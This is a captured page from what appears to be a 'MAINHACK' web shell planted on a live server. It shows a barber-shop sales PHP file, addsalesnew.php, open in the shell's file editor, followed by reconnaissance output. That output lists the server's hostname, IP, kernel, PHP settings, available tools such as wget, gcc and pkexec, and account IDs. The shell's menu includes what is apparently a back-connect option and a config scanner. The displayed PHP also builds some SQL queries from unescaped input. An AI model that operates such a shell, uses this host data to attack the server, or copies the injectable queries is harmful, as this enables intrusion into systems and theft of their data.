[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: addsalesnew.php
<?php include("../admin/includes/functions/functions.php");?> <?php include("../admin/db/db.php");?> <?php if(!isset($_SESSION['username_Xw211qAAsq4'])) { header('Location: ../auth/'); exit(); } else{ $pageTitle1 = 'Add New Service Sales'; $shopname = $_SESSION['business_name_Xw211qAAsq4']; } $currency = mysqli_query($new,"SELECT currency from barber_admin WHERE business_name = '$shopname'"); $fechC = mysqli_fetch_array($currency); $qurtyCurrency = $fechC['currency']; $message = ""; if(isset($_POST['addqty'])){ $price = mysqli_real_escape_string($new,$_POST['price']); $id = mysqli_real_escape_string($new,$_POST['id']); $updateqty = "UPDATE services SET service_price = '{$price}'WHERE service_id = '{$id}'"; $qty_con = mysqli_query($new,$updateqty); $message = '<script> $(document).ready(function(){ swal("Success!", "Service price is updated", "success");}); </script>'; } if(isset($_POST['addsales'])){ $client_id = test_input($_POST['client_id']); $employee_id = test_input($_POST['employee_id']); $active12 = test_input($_POST['active12']); $payment = test_input($_POST['payment']); $discount_id = test_input($_POST['discount_id']); $comm_id = test_input($_POST['comm_id']); $created = test_input($_POST['created']); $service_id = $_POST['service_id']; //$service_price1 = $_POST['service_price1']; if(empty($discount_id )){ $newDis = 0.00; } else { $newDis = $discount_id; } if(empty($comm_id )){ $comRate = 0.0; } else { $comRate = $comm_id; } if(empty($employee_id)){ $message = '<script> $(document).ready(function(){ swal("error!", "Select Employee", "error");}); </script>'; } if(empty($client_id)){ $message = '<script> $(document).ready(function(){ swal("error!", "Select Customer", "error");}); </script>'; } if(empty($service_id)){ $message = '<script> $(document).ready(function(){ swal("error!", "Select at least one service", "error");}); </script>'; } if(empty($active12)){ $message = '<script> $(document).ready(function(){ swal("error!", "Select work status", "error");}); </script>'; } if(empty($payment)){ $message = '<script> $(document).ready(function(){ swal("error!", "Select payment type", "error");}); </script>'; } if(empty($created)){ $message = '<script> $(document).ready(function(){ swal("error!", "Service sales date required", "error");}); </script>'; } else { $date_created = date('Y-m-d h:i:sa'); //$created = date("Y-m-d"); $start_time = date('Y-m-d h:i:sa'); $end_time_expected = date('Y-m-d h:i:sa'); $canceled = '0'; $cancellation_reason = ''; $status = 'offline'; $payment_mode = 'None'; $stmt = $con->prepare("insert into appointments(date_created,created,client_id,employee_id,start_time,end_time_expected,canceled,cancellation_reason,active,status,payment_mode,business_name,discount,comRate) values(?,?,?,?,?,?,?,?,?,?,?,?,?,?)"); $stmt->execute(array($date_created,$created,$client_id,$employee_id,$start_time,$end_time_expected,$canceled,$cancellation_reason,$active12,$status,$payment,$shopname, $newDis,$comRate)); $last_inserted_id = $con->lastInsertId(); for ($i=0; $i < count($service_id) ; $i++) { if($service_id[$i] != "") { $item = $service_id[$i]; $xy = "INSERT INTO services_booked (appointment_id, service_id) VALUES ('$last_inserted_id','$item')"; $x = mysqli_query($new,$xy); $select_service_sum = mysqli_query($new,"SELECT * FROM services WHERE service_id = '$item'"); $fetch_sum = mysqli_fetch_array($select_service_sum); $sum_total+= $fetch_sum['service_price']; $service_price1 = $fetch_sum['service_price']; $update = mysqli_query($new,"UPDATE appointments SET total_amount = '$sum_total' WHERE appointment_id = '$last_inserted_id'"); $update2 = mysqli_query($new,"UPDATE services SET s_status = '0' WHERE service_id = '$item'"); } $app_id = $last_inserted_id; $xyz = "INSERT INTO true_price (appointment_id,service_id,price) VALUES ('$app_id','$item','$service_price1')"; $x = mysqli_query($new,$xyz); // for ($i=0; $i < count($service_price1) ; $i++) { // $sprice = $service_price1[$i]; // $item1 = $service_id[$i]; // $xyz = "INSERT INTO true_price (appointment_id,service_id,price) VALUES // ('$app_id','$item','$service_price1')"; // $x = mysqli_query($new,$xyz); // } $message = '<script> $(document).ready(function(){ swal("success!", "Service sales added", "success");}); </script>'; } } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <title> <?php echo $shopname;?> - <?php echo $pageTitle1;?></title> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <link href="plugins/bootstrap-touchspin/jquery.bootstrap-touchspin.css" rel="stylesheet" type="text/css" /> <link href="plugins/daterangepicker/daterangepicker.css" rel="stylesheet" type="text/css" /> <script src='https://unpkg.com/sweetalert/dist/sweetalert.min.js'></script> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.4/jquery.min.js"></script> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/choices.js/public/assets/styles/choices.min.css" /> <script src="https://cdn.jsdelivr.net/npm/choices.js/public/assets/scripts/choices.min.js"></script> <link href="https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.13/css/select2.min.css" rel="stylesheet" /> <!-- JavaScript --> <script src="https://cdnjs.cloudflare.com/ajax/libs/select2/4.0.13/js/select2.min.js"></script> <!-- App css --> <link href="assets/css/bootstrap.min.css" rel="stylesheet" type="text/css" /> <link href="assets/css/icons.min.css" rel="stylesheet" type="text/css" /> <link href="assets/css/theme.min.css" rel="stylesheet" type="text/css" /> <style> #preloader { position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 9999; background-color: #fff; } #loader { display: block; position: absolute; top: 50%; left: 50%; border: 16px solid #f3f3f3; border-top: 16px solid #3498db; border-radius: 50%; width: 70px; height: 70px; animation: spin 2s linear infinite; } .table-hover tbody tr:hover td, .table-hover tbody tr:hover th { background-color: #e6ecff; } </style> </head> <body> <div id="preloader"> <div id="loader"></div> </div> <!-- Begin page --> <div id="layout-wrapper"> <div class="header-border"></div> <?php include("includes/template/head.php");?> <?php include("includes/template/side.php");?> <div class="main-content"> <div class="page-content"> <div class="container-fluid"> <!-- start page title --> <div class="row"> <div class="col-12"> <?php if($message != "") { echo ($message) ; } ?> <h4 class="mb-0 font-size-18">In House Sales</h4> <div class="page-title-box d-flex align-items-center justify-content-between"> </div> </div> </div> <!-- end page title --> <div class="row"> <div class="col-12"> <div class="card"> <form method="POST" id="add_category_bttn"> <?php //echo csrf_token_tag(); ?> <div class="card-body"> <div class="row"> <div class="col-6"> <?php $stmt = $con->prepare("SELECT * FROM employees WHERE business_name = ? order by employee_id DESC"); $stmt->execute(array($shopname)); $rows_categories = $stmt->fetchAll(); ?> <div class="form-group"> <label for="employee_id"> Employee</label> <br /> <select class="form-control" data-toggle="select2" name="employee_id" > <option value="">Select Employee</option> <?php foreach($rows_categories as $category) { echo "<option value = '".$category['employee_id']."'>"; echo $category['first_name'].' '.$category['last_name']; echo "</option>"; } ?> </select> </div> </div> <div class="col-6"> <?php $stmt = $con->prepare("SELECT * FROM clients WHERE business_name = ? ORDER BY first_name,last_name"); $stmt->execute(array($shopname)); $rows_categories = $stmt->fetchAll(); ?> <div class="form-group"> <label for="employee_id"> Customer</label> <br /> <select class="form-control" data-toggle="select2" name="client_id"> <option value="">Select clients</option> <?php foreach($rows_categories as $client) { echo "<option value = '".$client['client_id']."'>"; echo $client['first_name'].' '.$client['last_name'].'--'.$client['phone_number']; echo "</option>"; } ?> </select> </div> </div> </div> <div class="row"> <div class="col-md-6"> <div class="form-group"> <label for="employee_id"> Work Status</label> <br /> <select class="form-control" data-toggle="select2" name="active12"> <option value="">Select option</option> <option value="Yes">Done</option> <option value="Progress">Progress</option> <option value="Cancelled">Cancelled</option> </select> </div> </div> <div class="col-md-6"> <div class="form-group"> <label for="employee_id"> Paid by</label> <br /> <select class="form-control" data-toggle="select2" name="payment"> <option value="">Select option</option> <option value="Cash">Cash</option> <option value="Cash/Momo">Cash/Momo</option> <option value="Momo(MTN)">Momo(MTN)</option> <option value="Momo(Voda)">Momo(Voda)</option> <option value="Bank Transfer">Bank Transfer</option> <option value="Card payment">Card payment</option> </select> </div> </div> </div> <div class="row"> <div class="col-md-6"> <label for="service_id">Type Services </label> <!-- <button id="select-all" type="button">Select All</button> --> <select id="suppliers" name="service_id[]" multiple class="form-control"> <?php $result = "SELECT * FROM services WHERE business_name = '$shopname' ORDER by service_name"; $connet = mysqli_query($new,$result); while($roww = mysqli_fetch_array($connet)){ ?> <option value="<?php echo $roww['service_id']; ?>"><?php echo $roww['service_name'];?> (<?php echo $roww['service_price'].''.$qurtyCurrency;?>) </option> <?php }?> </select> <!-- <input type="text" id="suppliers" name="search_text[]" class="form-control" placeholder="Type services..." autocomplete="off"> <br/> <div id="result"></div> --> <div class="col-md-4"> <div id="link_wrapper"></div> </div> </div> <div class="col-md-2"> <div class="form-group mb-0"> <label for="employee_id"> Select Date</label> <input type="date" name="created" class="form-control"> </div> </div> <div class="col-md-2"> <div class="form-group mb-0"> <label>Commission(%)</label> <select class="form-control" data-toggle="select2" name="comm_id" style="width:100%"> <option value="">Select option</option> <?php $active = 1; $stmt = $con->prepare("SELECT * FROM comm_rate WHERE business_name = ? and active = ? order by rate_id DESC"); $stmt->execute(array($shopname,$active)); $rows_categories = $stmt->fetchAll(); ?> <?php foreach($rows_categories as $service){ ?> <option value="<?php echo $service['rate'];?>"><?php echo $service['rate'];?> %</option> <?php }?> </select> </div> </div> <div class="col-md-2"> <div class="form-group mb-0"> <label>Discount (%)</label> <input type="number" name="discount_id" class="form-control" min="0" oninput="this.value = Math.abs(this.value)"> </div> </div> </div> <br /><br /><br /> <button type="submit" name="addsales" id="submitButton" class="btn btn-primary">Add sales</button> <button type="button" class="btn btn-success waves-effect waves-light" data-toggle="modal" data-target=".bd-example-modal-lg">Add New Client</button> </div> </form> </div> <!-- end card body--> </div> <!-- end card --> </div><!-- end col--> </div> <!-- end row--> </div> <!-- container-fluid --> </div> </div> </div> <!-- Overlay--> <?php //include("includes/modals/CustomersModal.php");?> <div class="modal fade bd-example-modal-lg" tabindex="-1" role="dialog" aria-labelledby="myLargeModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title h4" id="myLargeModalLabel">Add New Customer</h5> <button type="button" class="close waves-effect waves-light" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">×</span> </button> </div> <div class="modal-body" data-ng-form="newcustomer"> <div class="setting-steps"> <form id="add_category_bttnn"> <div class="row"> <div class="col-sm-4"> <div class="form-group"> <label for="exampleInputEmail1" class="form-label">Phone number</label> <input type="text" class="form-control" id="validationTooltip03" name="phone_number" required> </div> </div> <div class="col-sm-4"> <div class="form-group"> <label for="exampleInputEmail1" class="form-label">First Name<span class="req">*</span></label> <input type="text" class="form-control" id="customerName" name="first_name" required > </div> </div> <div class="col-sm-4"> <div class="form-group"> <label for="exampleInputEmail1" class="form-label">Last Name</label> <input type="text" class="form-control" id="lastName" name="last_name" required> </div> </div> </div> <div class="row"> <div class="col-sm-4"> <div class="form-group"> <label class="form-label">DOB</label> <div class="input-group date dobWrap cal-container"> <input type="date" class="form-control" name="DOB"> </div> </div> </div> <div class="col-sm-4"> <div class="form-group"> <label for="exampleInput" class="form-label">Email ID</label> <input type="email" class="form-control" id="email" name="email"> </div> </div> <div class="col-sm-4"> <div class="form-group"> <label class="form-label">Gender</label> <div class="inline-radio tbl"> <div class="radio"> <input type="radio" id="male" name="gender" value="male"> <label for="male">Male</label> </div> <div class="radio"> <input type="radio" id="female" name="gender" value="female"> <label for="female">Female</label> </div> </div> </div> </div> </div> <div class="row"> <div class="col-sm-4"> <div class="form-group"> <label class="form-label">Address</label> <input type="text" class="form-control" name="address"> </div> </div> <div class="col-sm-4"> <div class="form-group"> <label class="form-label">Anniversary</label> <div class="input-group date anniWrap cal-container"> <input type="text" class="form-control" name="anniversary" data-provide="datepicker" data-date-format="d-M"> </div> </div> </div> <div class="col-sm-4"> <div class="form-group"> <label for="exampleInputEmail1" class="form-label">Location</label> <input type="text" class="form-control" id="location" name="location"> </div> </div> </div> <button type="submit" class="btn btn-success">Submit</button> </form> </div> </div> </div> </div> </div> <div id="qtyModal" class="modal fade" role="dialog" aria-labelledby="vcenter" aria-hidden="true"> <div class="modal-dialog modal-dialog-zoom modal-md"> <form method="post"> <div class="modal-content modal-md"> <div class="modal-header"> <h4 class="modal-title" id="vcenter">Change Price</h4> <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button> </div> <div class="modal-body"> <div class="form-group"> <input type="number" class="form-control" required name="price"> <input type="hidden" id="id" name="id" value="id"> </div> </div> <div class="modal-footer"> <button type="submit" name="addqty" class="btn btn-info waves-effect pull-right">Change</button> </div> </div> </form> <!-- /.modal-content --> </div> <!-- /.modal-dialog --> </div> <div class="menu-overlay"></div> <script src="assets/js/jquery.min.js"></script> <script src="assets/js/bootstrap.bundle.min.js"></script> <script src="assets/js/metismenu.min.js"></script> <script src="assets/js/waves.js"></script> <script src="assets/js/simplebar.min.js"></script> <!-- Plugins js --> <script src="plugins/autonumeric/autoNumeric-min.js"></script> <script src="plugins/bootstrap-datepicker/bootstrap-datepicker.min.js"></script> <script src="plugins/bootstrap-maxlength/bootstrap-maxlength.min.js"></script> <script src="plugins/moment/moment.js"></script> <script src="plugins/daterangepicker/daterangepicker.js"></script> <script src="plugins/select2/select2.min.js"></script> <script src="plugins/switchery/switchery.min.js"></script> <script src="plugins/bootstrap-touchspin/jquery.bootstrap-touchspin.min.js"></script> <script src="assets/pages/validation-demo.js"></script> <!-- Custom Js --> <script src="assets/pages/advanced-plugins-demo.js"></script> <!-- App js --> <script src="assets/js/theme.js"></script> </body> </html> <script type="text/javascript"> document.onreadystatechange = function() { if (document.readyState !== "complete") { document.querySelector("#preloader").style.display = "block"; } else { document.querySelector("#preloader").style.display = "none"; } }; </script> <script type="text/javascript"> $(document).ready(function() { $('#add_category_bttnn').submit(function(event) { event.preventDefault(); $.ajax({ url: 'addCustomer.php', type: 'post', headers: {'X-CSRF-Token': $('#csrf_token').val()}, data: $('#add_category_bttnn').serialize(), dataType: 'json', success: function(response) { if (response.status == 'success') { swal("Success!", response.message, "success").then(() => { location.reload(); }); //window.location.href = response.redirect; $('#add_category_bttnn')[0].reset(); } else { swal("Error!", response.message, "error").then(() => { location.reload(); }); } } }); }); }); </script> <script> $(document).ready(function(){ load_data(); function load_data(query) { $.ajax({ url:"fetch.php", method:"POST", data:{query:query}, success:function(data) { $('#result').html(data); } }); } $('#search_text').keyup(function(){ var search = $(this).val(); if(search != '') { load_data(search); } else { load_data(); } }); }); </script> <script> function loadXMLDoc() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("link_wrapper").innerHTML = this.responseText; } }; xhttp.open("GET", "loadtotal.php", true); xhttp.send(); } setInterval(function(){ loadXMLDoc(); // 1sec },100); </script> <script> document.addEventListener('DOMContentLoaded', function () { const choices = new Choices('#suppliers', { removeItemButton: true }); let allSelected = false; // Track the state of selection document.getElementById('select-all').addEventListener('click', function () { const allOptions = choices._currentState.choices.map(choice => choice.value); if (allSelected) { choices.removeActiveItems(); // Deselect all options this.textContent = 'Select All'; // Update button text } else { choices.setChoiceByValue(allOptions); // Select all options this.textContent = 'Deselect All'; // Update button text } allSelected = !allSelected; // Toggle the state }); }); </script> <script> $(document).ready(function() { $('#suppliers').change(function() { var selectedServiceIds = $(this).val(); // Get selected service IDs if (selectedServiceIds) { $.each(selectedServiceIds, function(index, serviceId) { $.ajax({ url: 'update_service.php', type: 'POST', data: { service_id: serviceId }, success: function(response) { console.log('Service ID ' + serviceId + ' updated to 0'); }, error: function(xhr, status, error) { console.error('Error updating service ID ' + serviceId + ': ' + error); } }); }); } }); }); </script> <!-- <script> $('.addAttr').click(function() { var id = $(this).data('id'); $('#id').val(id); } ); </script> <script> $('.addAttrr').click(function() { var id = $(this).data('id'); $('#id').val(id); } ); </script> --> <!-- <script type="text/javascript"> $(document).ready(function() { $('#add_category_bttn').submit(function(event) { event.preventDefault(); var submitButton = $('#submitButton'); submitButton.prop('disabled', true); // Disable the submit button $.ajax({ url: 'insertSalesNew.php', type: 'post', headers: {'X-CSRF-Token': $('#csrf_token').val()}, data: $('#add_category_bttn').serialize(), dataType: 'json', success: function(response) { if (response.status == 'success') { swal("Success!", response.message, "success").then(() => { location.reload(); }); submitButton.prop('disabled', false); // Re-enable the submit button //window.location.href = response.redirect; $('#add_category_bttn')[0].reset(); } else { swal("Error!", response.message, "error").then(() => { location.reload(); }); submitButton.prop('disabled', false); // Re-enable the submit button } } }); }); }); </script> -->
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.08 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002